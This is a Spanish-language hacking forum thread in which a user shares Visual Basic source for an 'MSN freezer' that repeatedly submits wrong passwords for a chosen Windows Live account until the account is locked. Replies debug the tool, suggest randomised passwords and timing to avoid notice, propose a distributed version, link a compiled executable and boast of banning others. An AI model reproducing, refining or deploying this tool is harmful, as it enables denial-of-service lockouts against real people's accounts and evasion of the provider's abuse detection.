Hola amigos, os presento este code de un Msn freezer, pero a diferencia de los demas, ahorra mucho codigo y cumple basicamente la misma funcion, generalmente en menos tiempo, no se si esto ya se le habia ocurrido antes a alguien, pero ahi va... Por cierto, las criticas constructivas son bienvenidas!! ;D
*Utilizo componente:
-Microsoft Internet Controls
*En el formulario agrego:
-Un Textbox = Text1
-Un CommandButton = Command1
-Un WebBrowser = WB
' ////////////////////////////////////////////////////////////////
' // *Autor: *PsYkE1* (miguelin.majo@gmail.com) //
' // *Podeis agrandar o reducir el codigo, siempre y cuando se //
' // respete la autoria y se me comuniquen esos cambios. //
' // *Agradecimientos a BlackZeroX. //
' // *Visita http://foro.rthacker.net //
' ////////////////////////////////////////////////////////////////
Dim Flag As Boolean
Private Sub Command1_Click()
'Dependiendo del Caption del botón realiza una u otra acción
If Command1.Caption = "Congelar" Then
'Si el Text1 esta vacio
If Text1.Text = "" Then
Flag = False
MsgBox "Debes introducir una cuenta", vbCritical, "*PsYkE1* Msn Freezer v1.0"
Else
Flag = False
Text1.Enabled = False
WB.Navigate ("login.live.com") 'Abro la Web para logearse
Command1.Caption = "Descongelar"
End If
Else
Text1.Enabled = True
Command1.Caption = "Congelar"
WB.Navigate ("") 'Salgo de la Web
MsgBox "La cuenta " & Text1.Text & " ha sido descongelada", vbInformation, "*PsYkE1* Msn Freezer v1.0"
End If
End Sub
Private Sub Form_Load()
Me.Caption = "*PsYkE1* Msn Freezer v1.0" 'Pongo Title al Form
Command1.Caption = "Congelar" 'Asigno el Caption al botón
Flag = True 'Activo el interruptor
End Sub
Private Sub WB_DocumentComplete(ByVal pDisp As Object, URL As Variant)
On Error Resume Next 'Si hay error no lo muestre
If Flag Then Exit Sub 'Si el interuptor está activado salgo
With WB
.Document.All("login").Value = Text1.Text 'Ingreso la cuenta
.Document.All("passwd").Value = "by*PsYkE1*" 'Pongo una contraseña que no es
.Document.All("SI").Click 'hago click
End With
' Si encuentro la cadena "demasiadas veces" en el documento del WB...
If InStr(WB.Document.Body.InnerHtml, "demasiadas veces") Then
MsgBox "La cuenta : " & Text1.Text & " ha sido bloqueada con éxito!" _
, vbInformation, "*PsYkE1* Msn Freezer v1.0": Flag = True
End If
End Sub
Espero que os haya gustado :)
E exado un vistazo al code y he de decir q esta bastante bien, no es tan profesional como si utilizas el control winsock, pero he de admitir q le has hechado imaginacion...
Lo he compilado y tarda un poco mas de lo que dices, pero insisto en q no esta nada mal, minimalista, me gusta... ;-)
salu2
Hola, lo pase a C#.net porque no entiendo mucho de visual basic y lo estuve probando pero no funciona como los otros Msn Freezer, por lo que veo el evento DocumentComplete se dispara hasta que se bloquea el correo hasta ahi todo bien pero despues de eso no hace nada mas el programa y al rato se desbloquea solo el correo, los otros msn freezer que probe hasta que no cerras el programa no se desbloquea el correo, puede estar dias inclusive, alguien sabe como se programan esos freezer?
Saludos
Ummm.. Hay un error de sintaxis, no cierras el ultimo If
En ultimo If es del que yo quiero hablar:
If InStr(WB.Document.body.innerhtml, "demasiadas veces") Then
Eso no es en absoluto generico, teniendo en cuenta que entras en login.live.com y es la propia pagina la que determina que idioma te muestra... Deberias comprobarlo de otra forma... no se... tal vez con el HTTP STATUS (404,200...)
Cita de: Karcrack en 14 Junio 2010, 16:26 PM
Ummm.. Hay un error de sintaxis, no cierras el ultimo If
En ultimo If es del que yo quiero hablar:
If InStr(WB.Document.body.innerhtml, "demasiadas veces") Then
Eso no es en absoluto generico, teniendo en cuenta que entras en login.live.com y es la propia pagina la que determina que idioma te muestra... Deberias comprobarlo de otra forma... no se... tal vez con el HTTP STATUS (404,200...)
Si, es verdad, ya esta corregido... :P Me informare de lo segundo para mejorarlo...
Gracias ;)
Cita de: benchy en 14 Junio 2010, 14:49 PM
Hola, lo pase a C#.net porque no entiendo mucho de visual basic y lo estuve probando pero no funciona como los otros Msn Freezer, por lo que veo el evento DocumentComplete se dispara hasta que se bloquea el correo hasta ahi todo bien pero despues de eso no hace nada mas el programa y al rato se desbloquea solo el correo, los otros msn freezer que probe hasta que no cerras el programa no se desbloquea el correo, puede estar dias inclusive, alguien sabe como se programan esos freezer?
Saludos
Investiga sobre el control
Winsock y mirate el
MSNP(Messenger Protocol), no creo que esta sea la forma idónea de hacerlo, solo busque hacerlo de una forma diferente, y mas sencilla... :silbar:
No sabia que el mio era por tiempo limitado... Lo he testeado horas y creo recordar que funcionaba... :-\
Salu2! :)
Buenisimas tus aplicaciones enserio aunque como dicen winsock y MSNP te verian de maravillas
Solo trato de dar soluciones diferentes!
Me alegra que te guste!
Salu2!
Bueno la verdad si lo tienes muy facil lo haces las cosas yo me complico mucho al programar, como el programa que hice de firmas digitales
Pero esto no provocaria un DOS al servidor web? Bueno al menos haria saltar las alarmas no?
Ve un paso mas lejos y hazlo para que se pueda hacer de manera distribuida.
^^
Saludos
:huh: :huh: :huh:
Bueno eso va segun como lo hagas no creo? ademas hice la prueba y no pasa nada a menos que hagas algo mas grande si
No hombre, no probocaria un DOS... Asi funcionan los freezer...
Se puede perfeccionar poniendo Password aleatoria y que se logee en un intervalo de tiempo aleatorio para que llame menos la atencion...
Salu2!
yo tengo una duda para el creador, por si no lo ha pensado. Cuando desde la pagina web de login, empiezas a loguear con contraseñas incorrectas, llega un momento que sale un recuadro donde debes colocar unos numeros, creo que eso dejaria sin funcionar tu herramienta en muy poco tiempo.
La idea es original, lo he visto y es un metodo sencillo pero no creo que sea eficaz por lo comentado.
Cita de: skapunky en 22 Junio 2010, 22:05 PM
yo tengo una duda para el creador, por si no lo ha pensado. Cuando desde la pagina web de login, empiezas a loguear con contraseñas incorrectas, llega un momento que sale un recuadro donde debes colocar unos numeros, creo que eso dejaria sin funcionar tu herramienta en muy poco tiempo.
La idea es original, lo he visto y es un metodo sencillo pero no creo que sea eficaz por lo comentado.
Viendolo asi tienes razon acabo de hacer la prueba y lo deja inutil al programa, casi totalmente se diria lo correcto totalmente....
Cita de: skapunky en 22 Junio 2010, 22:05 PM
yo tengo una duda para el creador, por si no lo ha pensado. Cuando desde la pagina web de login, empiezas a loguear con contraseñas incorrectas, llega un momento que sale un recuadro donde debes colocar unos numeros, creo que eso dejaria sin funcionar tu herramienta en muy poco tiempo.
La idea es original, lo he visto y es un metodo sencillo pero no creo que sea eficaz por lo comentado.
Al menos en la unica prueba que hize....nunca me salto el captcha ._.
Cita de: skapunky en 22 Junio 2010, 22:05 PM
yo tengo una duda para el creador, por si no lo ha pensado. Cuando desde la pagina web de login, empiezas a loguear con contraseñas incorrectas, llega un momento que sale un recuadro donde debes colocar unos numeros, creo que eso dejaria sin funcionar tu herramienta en muy poco tiempo.
La idea es original, lo he visto y es un metodo sencillo pero no creo que sea eficaz por lo comentado.
El programa esta testeado, y no sale un captcha... :silbar:
Para comprobarlo, pon el WebBrowser en grande y inicia el programa...
Veras que al gastar los intentos bloquea la cuenta temporalmente sin mandarte introducir letras... :laugh:
Salu2! ;)
interesante *PsYkE1* ;D ;D jeje pero podrias explicarme un poco del evento DocumentComplete , pork veo que se ejecuta continuamente para que salga el mensaje de "demasiadas veces". Cuando por lo que lei por alli deberia ejecutarse cuando se carga la pagina... :- :¬¬
Cita de: *PsYkE1* en 12 Abril 2010, 01:12 AM
...
Private Sub WB_DocumentComplete(ByVal pDisp As Object, URL As Variant)
On Error Resume Next 'Si hay error no lo muestre
If Flag Then Exit Sub 'Si el interuptor está activado salgo
With WB
.Document.All("login").Value = Text1.Text 'Ingreso la cuenta
.Document.All("passwd").Value = "by*PsYkE1*" 'Pongo una contraseña que no es
.Document.All("SI").Click 'hago click
End With
' Si encuentro la cadena "demasiadas veces" en el documento del WB...
If InStr(WB.Document.body.innerhtml, "demasiadas veces") Then
MsgBox "La cuenta : " & Text1.Text & " ha sido bloqueada con éxito!" _
, vbInformation, "*PsYkE1* Msn Freezer v1.0": Flag = True
End If
End Sub
...
Dicha sección de codigo es un evento del WB y efectivamente se ejecuta cuando termina de verificar la pagina,
la funcion
WB.Document.body.innerhtml devuelve el codigo fuente de la pagina y con
instr() el verifica la existencia del texto
"demasiadas veces" para mostrar el msgbox"¡.
P.D.: Manual basico de control WebBrowser ( http://www.recursosvisualbasic.com.ar/htm/tutoriales/tutorial-navegador-internet-webbrowser.htm )
Dulce Infierno Lunar!¡.
;D ;D recien comprendo...
Mi duda era acerca de que para salga el mensaje "demasidas veces" la pagina ha tenido que cargarse mas de una vez...porque veo que el browser se refresca a cada instante...es como un bucle....
...luego de mirar un rato veo que el "click" que se manda hace que la pagina se refresque indefinidamente... ;D ;D ¿ estoy en lo correcto..?
Cita de: *PsYkE1* en 21 Junio 2010, 22:43 PM
No hombre, no probocaria un DOS... Asi funcionan los freezer...
Se puede perfeccionar poniendo Password aleatoria y que se logee en un intervalo de tiempo aleatorio para que llame menos la atencion...
Salu2!
Si esperas mucho no haces nada, simplemente te sacar el captcha xD
Saludos
Podrías subir directamente la aplicación, osea el .exe?
Así lo pruebo
Cita de: Lupin en 23 Junio 2010, 21:46 PM
...luego de mirar un rato veo que el "click" que se manda hace que la pagina se refresque indefinidamente... ;D ;D ¿ estoy en lo correcto..?
Exacto, cuando se carge la pagina por completo hago click otra vez, pero si encuentro la cadena "demasiadas veces", ya paro porque la cuenta ya esta bloquedada, el procedimiento es muy sencillo... :P
Cita de: Dreamaker en 24 Junio 2010, 00:25 AM
Podrías subir directamente la aplicación, osea el .exe?
Así lo pruebo
Hombre, solo hay que agregar un par de cosas, no seas vago, no? :laugh:
Salu2! ;)
http://infrangelux.sytes.net/FileX/?dir=/BlackZeroX/Ajenos
http://infrangelux.sytes.net/FileX/?file=/BlackZeroX/Ajenos/MSNFreezer.rar&dir=/BlackZeroX/Ajenos&
Dulce Infierno Lunar!¡.
Da error acá cuando lo ejecuto:
http://i46.tinypic.com/6qfwn8.jpg
y que error te da?
escribe en la ventana inmediato
?err.Description
y pega aqui lo que te salga
Dulce Infierno Lunar!¡.
El error que me devolvió dice:
"Se requiere un objeto"
Aca esta la imagen (http://i46.tinypic.com/nougw9.jpg)
Cita de: Dreamaker en 24 Junio 2010, 01:07 AM
El error que me devolvió dice:
"Se requiere un objeto"
Aca esta la imagen (http://i46.tinypic.com/nougw9.jpg)
Si falta el control winsock que te conecta a su compu jaja (bueno viniendo de este usuario en particular no lo creo pero eso de pedir el exe?)
Si sirve. Pero Tendria un uso mejor si se implementara algo asi para el rapidsahre
Bueno esto tiene sus ventajas asi baneamos a unos cuantos
(http://img401.imageshack.us/img401/7396/dibujoom.png) (http://img401.imageshack.us/i/dibujoom.png/)
Saludos
Perfecto, por fin alguien lo comprueba!! ;-)
Salu2!
Bueno pero entonces?
Según yo pensaba el Visual basic que me instalé ya traía todos los controles y yo puse los que pedía en el post..tanto trabajo compilar un .exe?
No es de vago sino porque no me funciona, y sino echenme una mano para solucionarlo
puede que los nombres de los objetos no los tengas correctamente, entonces te dira que se requiere un objeto. lee algo sobre vb y sabras solucionar ese pequeño problema.
por ejemplo tu puedes tener el control X, llamado MiControl, pero el codigo tiene el mismo objeto pero lo llama ControlMio... siendo el mismo control tiene nombres distintos y no existe ControlMio como tal en el codigo.
Cita de: ctlon en 24 Junio 2010, 20:24 PM
puede que los nombres de los objetos no los tengas correctamente, entonces te dira que se requiere un objeto. lee algo sobre vb y sabras solucionar ese pequeño problema.
por ejemplo tu puedes tener el control X, llamado MiControl, pero el codigo tiene el mismo objeto pero lo llama ControlMio... siendo el mismo control tiene nombres distintos y no existe ControlMio como tal en el codigo.
Exacto como bien te dice
ctlon debes llamar
WB al
WebBrowser, que por defecto se llamara
WebBrowser1, en el post incicial ya alclare esto... ;)
Salu2!